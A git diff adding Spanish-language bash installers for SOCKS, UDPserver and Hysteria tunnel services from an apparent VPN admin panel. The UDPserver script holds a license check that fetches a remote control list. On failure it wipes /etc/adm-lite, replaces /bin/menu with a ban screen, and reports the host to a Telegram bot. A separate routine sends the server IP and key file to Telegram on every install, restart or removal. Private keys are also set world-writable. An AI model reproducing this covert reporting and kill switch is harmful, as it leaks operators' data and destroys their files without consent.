+iniciarsocks () { +pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32m[ON]" || P1="\033[1;31m[OFF]" +pidproxy2=$(ps x | grep -w "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32m[ON]" || P2="\033[1;31m[OFF]" +pidproxy3=$(ps x | grep -w "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32m[ON]" || P3="\033[1;31m[OFF]" +pidproxy4=$(ps x | grep -w "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32m[ON]" || P4="\033[1;31m[OFF]" +pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32m[ON]" || P5="\033[1;31m[OFF]" +pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32m[ON]" || P6="\033[1;31m[OFF]" +tittle +menu_func "SOCKS-PYTHON SIMPLE $P1" \ +"SOCKS-PYTHON SEGURO $P2" \ +"SOCKS-PYTHON DIRECT $P3" \ +"SOCKS-PYTHON OPENVPN $P4" \ +"SOCKS-PYTHON GETTUNEL $P5" \ +"SOCKS-PYTHON TCPBYPASS $P6" +#echo -e "\e[91m\e[43m ==== SCRIPT MOD ChumoGH|EDICION ==== \033[0m \e[1;97m[$(less ${ADM_inst}/v-local.log)]" +#msg -bar3 +#echo -ne "$(msg -verd " [1]") $(msg -verm2 ">") " && msg -azu "Socks Python SIMPLE $P1" +#echo -ne "$(msg -verd " [2]") $(msg -verm2 ">") " && msg -azu "Socks Python SEGURO $P2" +#echo -ne "$(msg -verd " [3]") $(msg -verm2 ">") " && msg -azu "Socks Python DIRETO (WS) $P3" +#echo -ne "$(msg -verd " [4]") $(msg -verm2 ">") " && msg -azu "Socks Python OPENVPN $P4" +#echo -ne "$(msg -verd " [5]") $(msg -verm2 ">") " && msg -azu "Socks Python GETTUNEL $P5" +#echo -ne "$(msg -verd " [6]") $(msg -verm2 ">") " && msg -azu "Socks Python TCP BYPASS $P6" + +#echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON SIMPLE $P1" +#echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON SEGURO $P2" +#echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON DIRECT $P3" +#echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON OPENVPN $P4" +#echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON GETTUNEL $P5" +#echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON TCP-BYPASS $P6" + +msg -bar + +py=7 +var_p="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "WS-Epro"| wc -l) " +var_w="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "python"|wc -l)" +var_check=$(( ${var_p} + ${var_w} )) +if [[ ${var_check} -ge "2" ]]; then + + echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\e[1;33m ${flech} $(msg -verm 'ANULAR TODOS')" + echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\e[1;33m ${flech} $(msg -verm 'ELIMINAR UN PUERTO')" + #echo -e "$(msg -verd " [7]") $(msg -verm2 ">") $(msg -azu "ANULAR TODOS") $(msg -verd " [8]") $(msg -verm2 ">") $(msg -azu "ELIMINAR UN PUERTO")" + py=8 +else + echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\e[1;33m ${flech} $(msg -verm 'ELIMINAR TODOS')" + #echo -e "$(msg -verd " [7]") $(msg -verm2 ">") $(msg -azu "ELIMINAR TODOS")" +fi + +back +#msg -bar3 +#echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m" +#msg -bar3 +selection=$(selection_fun ${py}) +case ${selection} in + 1)colector PPub;; + 2)colector PPriv;; + 3)colector PDirect;; + 4)colector POpen;; + 5)colector PGet;; + 6);; + 7)stop_all;; + 8)stop_port;; + 0)return 1;; +esac +return 1 +} +chekKEY &> /dev/null 2>&1 +iniciarsocks + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + diff --git a/Recursos/test/UDPserver.org.sh b/Recursos/test/UDPserver.org.sh new file mode 100644 index 0000000..bebf241 --- /dev/null +++ b/Recursos/test/UDPserver.org.sh @@ -0,0 +1,228 @@ +#!/bin/bash +clear +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg + + +os_system(){ + system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') + distro=$(echo "$system"|awk '{print $1}') + case $distro in + Debian) vercion=$(echo $system|awk '{print $3}'|cut -d '.' -f1);; + Ubuntu) vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2);; + esac + } + +download_udpServer(){ + msg -nama ' Descargando binario UDPserver ----' + if wget -O /usr/bin/udpServer 'https://bitbucket.org/iopmx/udprequestserver/downloads/udpServer' &>/dev/null ; then + chmod +x /usr/bin/udpServer + msg -verd 'OK' + else + msg -verm2 'fail' + rm -rf /usr/bin/udpServer* + fi +chekKEY &> /dev/null 2>&1 +make_service +} + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +_Key='/etc/cghkey' +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +} +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +_check2="$(echo -e "$_double" | grep ${IiP} | awk '{print $1}')" +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +rm -f /etc/folteto +rm -rf /etc/adm-lite/* +} +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +cheklist="$(cat /etc/folteto)" +chekKEY="$(echo -e "$cheklist" | grep ${Key} | awk '{print $5}')" +chekIP="$(echo -e "$cheklist" | grep ${IP} | awk '{print $3}')" +[[ -z ${chekKEY} || -z ${chekIP} ]] && { +xyz=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/token.sh") +[[ $(cat -n /etc/adm-lite/menu_credito | wc -l) -ge 2 ]] && ID="$(cat /etc/adm-lite/menu_credito |tail -1)" || ID="$(echo $xyz| awk '{print $2}')" +TOKEN="$(echo $xyz| awk '{print $1}')" +urlBOT="https://api.telegram.org/bot$TOKEN/sendMessage" +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m ================================================== + ¡ ${lLaM} KEY BANEADA POR ABUSO DE DATOS 🚫 ! CONTACTE Su ADMINISTRADOR + ${mss_} + ================================================== \n\n + SI ESTO FUE UN ERROR - TECLEA ** cgh ** \n\n" +' > /bin/menu +[[ ! -d /etc/banned ]] && mkdir /etc/banned +chmod +x /bin/menu +mv /etc/adm-lite/menu /etc/banned/ +mv /etc/adm-lite/usercodes /etc/banned/ +[[ ! -e ${_Key} ]] && { +rm -f /etc/folteto +rm -rf /etc/adm-lite/* +} +rm -f /etc/folteto + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN UDPServer ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +_mssBOT () { +xyz=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/token.sh") +[[ "$(cat -n /etc/adm-lite/menu_credito | wc -l)" -ge "2" ]] && ID="$(cat /etc/adm-lite/menu_credito |tail -1)" || ID="$(echo $xyz| awk '{print $2}')" +TOKEN="$(echo $xyz| awk '{print $1}')" +urlBOT="https://api.telegram.org/bot$TOKEN/sendMessage" +data=$1 +MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" SERVICIO udpServer| $data \n" + MENSAJE+=" IP : $(wget -qO- ifconfig.me) \n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" KEY : $(cat /etc/cghkey)\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+="$(msg -br)\n" +curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +} + + +make_service(){ + ip_nat=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}' | cut -d '/' -f 1 | grep -oE '[0-9]{1,3}(\.[0-9]{1,3}){3}' | sed -n 1p) + interfas=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}'|grep "$ip_nat"|awk {'print $NF'}) + ip_publica=$(grep -m 1 -oE '^[0-9]{1,3}(\.[0-9]{1,3}){3}$' <<< "$(wget -T 10 -t 1 -4qO- "http://ip1.dynupdate.no-ip.com/" || curl -m 10 -4Ls "http://ip1.dynupdate.no-ip.com/")") + + #ip_nat=$(fun_ip nat) + #interfas=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}'|grep "$ip_nat"|awk {'print $NF'}) + #ip_publica=$(fun_ip) + msg -nama ' Ejecutando servicio UDPserver .....' + if screen -dmS UDPserver /usr/bin/udpServer -ip=$ip_publica -net=$interfas -mode=system &>/dev/null ; then + msg -verd 'OK' + _mssBOT "ACTIVADO!!" + else + msg -verm2 'fail' + _mssBOT " FALLIDO!!" + fi +} + + + reset_slow(){ + clear + msg -bar + msg -ama " Reiniciando UDPserver...." + screen -ls | grep UDPserver | cut -d. -f1 | awk '{print $1}' | xargs kill + if screen -dmS UDPserver /usr/bin/udpServer -ip=$ip_publica -net=$interfas -mode=system ;then + msg -verd " Con exito!!!" + _mssBOT "REINICIADO!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + stop_slow(){ + clear + msg -bar + msg -ama " Deteniendo UDPserver...." + if screen -ls | grep UDPserver | cut -d. -f1 | awk '{print $1}' | xargs kill ; then + msg -verd " Con exito!!!" msg -bar + else + msg -verm " Con fallo!!!" msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + remove() { + stop_slow + rm -f /usr/bin/udpServer* + _mssBOT "REMOVIDO!!" + } + + info() { + msg -bar + echo + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + echo + msg -bar + msg -ama " SOURCE OFICIAL DE NewToolWorks" + echo -e " https://bitbucket.org/iopmx/udprequestserver/src/master/" + msg -bar + msg -ama " URL DE APP OFICIAL " + echo -e "https://play.google.com/store/apps/details?id=com.newtoolsworks.sockstunnel" + msg -bar + msg -ama " CODIGO REFACTORIZADO POR @drowkid01" + msg -bar + read -p " PRESIONA ENTER PARA CONTINUAR" + clear + } +os_system + +while : +do + [[ $(ps x | grep udpServer| grep -v grep) ]] && _pid="\033[1;32m[ON]" || _pid="\033[1;31m[OFF]" + tittle + msg -ama " BINARIO OFICIAL DE NewToolWorks" + +[[ $(echo -e "${vercion}") < 20 ]] && { +msg -bar +echo -e "\e[1;31m SISTEMA: \e[33m$distro $vercion \e[1;31m CPU: \e[33m$(lscpu | grep "Vendor ID" | awk '{print $3}')" +echo -e " " +echo -e " UTILIZA LAS VARIANTES MENCIONADAS DENTRO DEL MENU " +echo "" +msg -ama " SE RECOMIENDA USAR UBUNTU 20.04 " +echo "" +msg -ama " O SUPERIOR" +echo "" +echo -e " [ ! ] Power by @drowkid01 [ ! ]" +echo "" +msg -bar +read -p " PRESIONA ENTER PARA CONTINUAR" +return +} + msg -bar + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + msg -bar +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { + +msg -ama " BINARIO NO COMPATIBLE CON PLATAFORMAS ARM " +echo "" +echo -e " [ ! ] Power by @drowkid01 [ ! ]" +echo "" +msg -bar +read -p " PRESIONA ENTER PARA CONTINUAR" +return +} + menu_func "Instalar UDPserver $_pid" "$(msg -ama "Reiniciar UDPserver")" "$(msg -verm2 "Detener UDPserver")" "$(msg -verm2 "Remover UDPserver")" "$(msg -ama "Info de Proyecto")" + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 6) + case $opcion in + 1)download_udpServer;; + 2)reset_slow;; + 3)stop_slow;; + 4)remove;; + 5)info;; + 0)exit;; + esac +done diff --git a/Recursos/test/UDPserver.sh b/Recursos/test/UDPserver.sh new file mode 100644 index 0000000..cb34a2c --- /dev/null +++ b/Recursos/test/UDPserver.sh @@ -0,0 +1,640 @@ +#By @drowkid01|Plus +clear&&clear + +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg + + +RED="\033[31m" +GREEN="\033[32m" +YELLOW="\033[33m" +PLAIN="\033[0m" + +APP_IMPORT_GUIDE=" Open 'HTTP Injector' \n app -> Tunnel Type set 'Hysteria' -> \n Settings -> Hysteria -> \n Pegue el URI de configuraci�n de Hysteria2 para importar \n " + +ip=$(mip) || ip=$(curl -s4m8 ip.sb -k) + +red(){ + echo -e "\033[31m\033[01m$1\033[0m" +} + +green(){ + echo -e "\033[32m\033[01m$1\033[0m" +} + +yellow(){ + echo -e "\033[33m\033[01m$1\033[0m" +} + + +starthysteria(){ + systemctl start hysteria-server &>/dev/null + systemctl enable hysteria-server &>/dev/null 2>&1 +} + +stophysteria(){ + systemctl stop hysteria-server &>/dev/null + systemctl disable hysteria-server &>/dev/null 2>&1 +} + +showConf(){ + #yellow "Hysteria 2 client YML configuration file hy-client.yaml is as follows and saved to /root/hy/hy-client.yaml" + #red "$(cat /root/hy/hy-client.yaml)" + #yellow "Hysteria 2 client JSON configuration file hy-client.json is as follows and saved to /root/hy/hy-client.json" + #red "$(cat /root/hy/hy-client.json)" + green "$APP_IMPORT_GUIDE" + yellow "Hysteria 2 config URI (with port hop) is as follows and saved to /root/hy/url.txt" + red "$(cat /root/hy/url.txt)" + yellow "Hysteria 2 config URI (without port hop) is as follows and saved to /root/hy/url-nohop.txt" + red "$(cat /root/hy/url-nohop.txt)" +} + + + +inst_port(){ + iptables -t nat -F PREROUTING &>/dev/null 2>&1 + msg -bar3 + echo -e "Configure el puerto Hysteria2 entre [1-65535] " + read -p " (Enter para puerto aleatorio) : " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + until [[ -z $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; do + if [[ -n $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; then + echo -e "${RED} $port ${PLAIN} El puerto ya est� ocupado por otro programa, �cambie el puerto e int�ntelo de nuevo! " + echo -e "Configure el puerto Hysteria2 entre [1-65535] " + read -p " (Enter para puerto aleatorio) : " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + fi + done + inst_jump +} + +inst_jump(){ + green "El modo de uso del puerto Hysteria 2 es el siguiente:" + echo "" + echo -e " ${GREEN}1.${PLAIN} Puerto Unico ${YELLOW}410default411${PLAIN}" + echo -e " ${GREEN}2.${PLAIN} Puerto RANGOS/RAMDOM (INICIO-FIN )" + echo "" + read -rp "Escoge [1-2]: " jumpInput + if [[ $jumpInput == 2 ]]; then + read -p "Configure el puerto de inicio del puerto de rango (recomendado entre 10000-65535):" firstport + read -p "Configure el puerto final de un puerto de rango (recomendado entre 10000-65535, debe ser m�s grande que el puerto de inicio anterior):" endport + if [[ $firstport -ge $endport ]]; then + until [[ $firstport -le $endport ]]; do + if [[ $firstport -ge $endport ]]; then + red "El puerto de inicio que configur� es menor que el puerto final; vuelva a ingresar el puerto inicial y final" + read -p "Configure el puerto de inicio del puerto de rango (recomendado entre 10000-65535): " firstport + read -p ":" endport + fi + done + fi + iptables -t nat -A PREROUTING -p udp --dport $firstport:$endport -j DNAT --to-destination :$port + ip6tables -t nat -A PREROUTING -p udp --dport $firstport:$endport -j DNAT --to-destination :$port + netfilter-persistent save &>/dev/null 2>&1 + else + red " DEFAULD MODO UNICO PUERTO" + fi +} + + +install_bin(){ +clear&&clear +msg -bar3 +NAME=hysteria +VERSION=$(curl -fsSL https://api.github.com/repos/apernet/hysteria/releases/latest | grep -w tag_name |sed -e 's/[^v.0-9 -]//ig'| tr -d '[:space:]') +[[ $(uname -m 2> /dev/null) != x86_64 ]] && TARBALL="$NAME-linux-arm64" || TARBALL="$NAME-linux-amd64" +msg -nama " Descargando Modulo ${VERSION}.(Evozi)." +if wget -O /bin/Hysteria2 https://github.com/apernet/hysteria/releases/download/app/${VERSION}/${TARBALL} &>/dev/null ; then + chmod +x /bin/Hysteria2 + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -f /bin/Hysteria2 +fi +echo " +[Unit] +Description=Hysteria2 Server Service ChumoGH +After=network.target + +[Service] +Type=simple +ExecStart=/bin/Hysteria2 server --config /etc/adm-lite/HYSTERIA/config.yaml +WorkingDirectory=~ +User=root +Group=root +Environment=HYSTERIA_LOG_LEVEL=info +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW +NoNewPrivileges=true + +[Install] +WantedBy=multi-user.target +" > /hysteria-server.service +chmod +x /hysteria-server.service +install -Dm644 /hysteria-server.service /etc/systemd/system +#systemctl disable hysteria-server.service &>/dev/null +#systemctl start hysteria-server.service &>/dev/null +#systemctl enable hysteria-server.service &>/dev/null +#rm -f /hysteria-server.service +} + +inst_pwd(){ + read -p "Establecer contrase�a de Hysteria2 (ingrese para obtener una contrase�a aleatoria): " auth_pwd + [[ -z $auth_pwd ]] && auth_pwd=$(date +%s%N | md5sum | cut -c 1-8) +} + +inst_site(){ +msg -bar3 +echo -e "INGRESA SU SNI ( HOST FAKE ) " +msg -bar3 + echo -e "Ingrese su Sitio WEB Falso A Hysteria 2 (elimine https://) " + read -rp " [Default : plus.admcgh.online]: " proxysite + [[ -z $proxysite ]] && proxysite='plus.admcgh.online' +} + +inst_cert(){ +msg -bar3 +echo -ne " Ingresa Tu Dominio Enlazado a este IP ( Omite con Enter ) :" +read -p " " domainH2 +[[ -z ${domainH2} ]] && domainH2='Hysteria2' + cert_path="/etc/hysteria/cert.crt" + key_path="/etc/hysteria/private.key" + openssl ecparam -genkey -name prime256v1 -out /etc/hysteria/private.key + openssl req -new -x509 -days 36500 -key /etc/hysteria/private.key -out /etc/hysteria/cert.crt -subj "/CN=${domainH2}" + chmod 777 /etc/hysteria/cert.crt + chmod 777 /etc/hysteria/private.key + hy_domain=$domainH2 + domain=$domainH2 +} + +_hysteria2(){ +[[ -d /etc/hysteria ]] || mkdir /etc/hysteria +[[ -d /etc/adm-lite/HYSTERIA ]] || mkdir /etc/adm-lite/HYSTERIA/ + install_bin + clear&&clear + # Ask user for Hysteria configuration + inst_cert + clear&&clear + inst_port + clear&&clear + inst_pwd + clear&&clear + inst_site + clear&&clear + # Set up the Hysteria configuration file +#cat << EOF > /etc/hysteria/config.yaml +cat << EOF > /etc/adm-lite/HYSTERIA/config.yaml +listen: :$port + +tls: + cert: $cert_path + key: $key_path + +obfs: + type: salamander + salamander: + password: $auth_pwd + +quic: + initStreamReceiveWindow: 16777216 + maxStreamReceiveWindow: 16777216 + initConnReceiveWindow: 33554432 + maxConnReceiveWindow: 33554432 + +auth: + type: password + password: $auth_pwd + +masquerade: + type: proxy + proxy: + url: https://$proxysite + rewriteHost: true +EOF + + # Determine the final inbound port range + if [[ -n $firstport ]]; then + last_port="$port,$firstport-$endport" + else + last_port=$port + fi + + # Add brackets to the IPv6 address + if [[ -n $(echo $ip | grep ":") ]]; then + last_ip="[$ip]" + else + last_ip=$ip + fi + + mkdir /root/hy + cat << EOF > /root/hy/hy-client.yaml +server: $ip:$last_port + +auth: $auth_pwd + +tls: + sni: $hy_domain + insecure: true + +obfs: $auth_pwd + +quic: + initStreamReceiveWindow: 16777216 + maxStreamReceiveWindow: 16777216 + initConnReceiveWindow: 33554432 + maxConnReceiveWindow: 33554432 + +fastOpen: true + +socks5: + listen: 127.0.0.1:5080 + +transport: + udp: + hopInterval: 30s +EOF + cat << EOF > /root/hy/hy-client.json +{ + "server": "$ip:$last_port", + "auth": "$auth_pwd", + "tls": { + "sni": "$hy_domain", + "insecure": true + }, + "obfs": "$auth_pwd", + "quic": { + "initStreamReceiveWindow": 16777216, + "maxStreamReceiveWindow": 16777216, + "initConnReceiveWindow": 33554432, + "maxConnReceiveWindow": 33554432 + }, + "fastOpen": true, + "socks5": { + "listen": "127.0.0.1:5080" + }, + "transport": { + "udp": { + "hopInterval": "30s" + } + } +} +EOF +echo " IP : $(mip)" > /etc/adm-lite/HYSTERIA/data.yaml +echo " DOMINIO : ${domainH2}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " Authentication : ${auth_pwd}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " PUERTO : ${port}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " SNI : ${proxysite}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " RANGO DE PUERTOS : 10000:65000" >> /etc/adm-lite/HYSTERIA/data.yaml +echo -e " \n Power By @drowkid01" >> /etc/adm-lite/HYSTERIA/data.yaml + url="hy2://$auth_pwd@$ip:$last_port/?insecure=1&sni=$hy_domain&obfs=salamander&obfs-password=$auth_pwd#HttpInjector-hysteria2" + echo $url > /root/hy/url.txt + nohopurl="hy2://$auth_pwd@$ip:$port/?insecure=1&sni=$hy_domain&obfs=salamander&obfs-password=$auth_pwd#HttpInjector-hysteria2" + echo $nohopurl > /root/hy/url-nohop.txt + systemctl daemon-reload &>/dev/null + systemctl enable hysteria-server &>/dev/null + systemctl start hysteria-server &>/dev/null + if [[ -n $(systemctl status hysteria-server 2>/dev/null | grep -w active) && -f '/etc/adm-lite/HYSTERIA/config.yaml' ]]; then + green " Servicio Hysteria2 Iniciado Exitosamente" + else + red "ERROR, NO SE PUDO EJECUTAR EL SERVICIO DE HYSTERIA2 , \n\nEjecute systemctl status hysteria-server para ver el estado del servicio" + fi + #yellow "Hysteria 2 client YML configuration file hy-client.yaml is as follows and saved to /root/hy/hy-client.yaml" + #red "$(cat /root/hy/hy-client.yaml)" + #yellow "Hysteria 2 client JSON configuration file hy-client.json is as follows and saved to /root/hy/hy-client.json" + #red "$(cat /root/hy/hy-client.json)" +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data.yaml +msg -bar3 + green "$APP_IMPORT_GUIDE" + yellow "El URI de configuraci�n de Hysteria 2 (con salto de puerto) " + red "$(cat /root/hy/url.txt)" + yellow "El URI de configuraci�n de Hysteria 2 (sin salto de puerto) " + red "$(cat /root/hy/url-nohop.txt)" +read -p "$(green "Hysteria 2 Modulos UDP By @drowkid01 Finalizado ") " +} + +_hysteria(){ +clear&&clear +[[ ! -d /etc/adm-lite/HYSTERIA ]] && mkdir /etc/adm-lite/HYSTERIA +NAME=hysteria +#VERSION=$(curl -fsSL https://api.github.com/repos/HyNetwork/hysteria/releases/latest | grep tag_name | sed -E 's/.*"v(.*)".*/\1/') +VERSION=$(curl -fsSL https://api.github.com/repos/HyNetwork/hysteria/releases/latest | grep -w tag_name |sed -e 's/[^v.0-9 -]//ig'| tr -d '[:space:]') +[[ $(uname -m 2> /dev/null) != x86_64 ]] && TARBALL="$NAME-linux-arm64" || TARBALL="$NAME-linux-amd64" +interfas="$(ip -4 route ls|grep default|grep -Po '(?<=dev )(\S+)'|head -1)" +#https://github.com/apernet/hysteria/releases/download/app%2Fv2.0.2/hysteria-linux-amd64 + +sys="$(which sysctl)" + +ip4t=$(which iptables) +ip6t=$(which ip6tables) + +#OBFS=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 10) +OBFS='ADMcghPLUS' + +msg -nama ' INGRESA TU SUBDOMINIO/DOMINIO \n' +#msg -nama ' Prederteminado ( ENTER )\n' +read -p " DOMAIN : " domain +sleep 4s +del 1 +msg -nama " COMPIANDO CERTIFICADO SSL (UDP). . . . " +[[ -e /etc/adm-lite/HYSTERIA/udpmod.ca.key && -e /etc/adm-lite/HYSTERIA/udpmod.server.crt ]] && { +msg -verd ' OK' +} || { +#( +#openssl genrsa -out /etc/adm-lite/HYSTERIA/udpmod.ca.key 2048 2048 +#openssl req -new -x509 -days 3650 -key /etc/adm-lite/HYSTERIA/udpmod.ca.key -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=ChumoGH Root CA" -out /etc/adm-lite/HYSTERIA/udpmod.ca.crt +#openssl req -newkey rsa:2048 -nodes -keyout /etc/adm-lite/HYSTERIA/udp.server.key -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=${domain}" -out /etc/adm-lite/HYSTERIA/udpmod.server.csr +#openssl x509 -req -extfile <(printf "subjectAltName=DNS:${domain},DNS:${domain}") -days 3650 -in /etc/adm-lite/HYSTERIA/udpmod.server.csr -CA /etc/adm-lite/HYSTERIA/udpmod.ca.crt -CAkey /etc/adm-lite/HYSTERIA/udpmod.ca.key -CAcreateserial -out /etc/adm-lite/HYSTERIA/udp.server.crt +# +(openssl genpkey -algorithm RSA -out /etc/adm-lite/HYSTERIA/udpmod.ca.key +openssl req -x509 -new -nodes -key /etc/adm-lite/HYSTERIA/udpmod.ca.key -days 3650 -out /etc/adm-lite/HYSTERIA/udpmod.ca.crt -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=ChumoGH Root CA" +openssl req -newkey rsa:2048 -nodes -keyout /etc/adm-lite/HYSTERIA/udp.server.key -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=${domain}" -out /etc/adm-lite/HYSTERIA/udpmod.server.csr +openssl x509 -req -extfile <(printf "subjectAltName=DNS:${domain}") -days 3650 -in /etc/adm-lite/HYSTERIA/udpmod.server.csr -CA /etc/adm-lite/HYSTERIA/udpmod.ca.crt -CAkey /etc/adm-lite/HYSTERIA/udpmod.ca.key -CAcreateserial -out /etc/adm-lite/HYSTERIA/udp.server.crt +) &>/dev/null && msg -verd ' OK' + +} +del 1 +[[ -e /etc/adm-lite/HYSTERIA/udp.server.crt ]] && chmod +x /etc/adm-lite/HYSTERIA/udp.server.crt +[[ -e /etc/adm-lite/HYSTERIA/udp.server.key ]] && chmod +x /etc/adm-lite/HYSTERIA/udp.server.key +msg -nama " Descargando BINARIO v${VERSION}.(FAKE). " +#if wget -O /bin/hysteria https://github.com/apernet/hysteria/releases/download/app%2F${VERSION}/${TARBALL} &>/dev/null ; then +if wget -O /bin/hysteria https://github.com/apernet/hysteria/releases/download/v1.3.5/${TARBALL} &>/dev/null ; then + chmod +x /bin/hysteria + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -f /bin/hysteria +fi +sleep 4s && del 1 +msg -nama ' Descargando Motor JSON . . . . ' +if wget -O /etc/adm-lite/HYSTERIA/config.json https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver-sh/config.json &>/dev/null ; then + chmod +x /etc/adm-lite/HYSTERIA/config.json + sed -i "s/setobfs/${OBFS}/" /etc/adm-lite/HYSTERIA/config.json + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -rf /etc/adm-lite/HYSTERIA/config.json +fi +sleep 4s && del 1 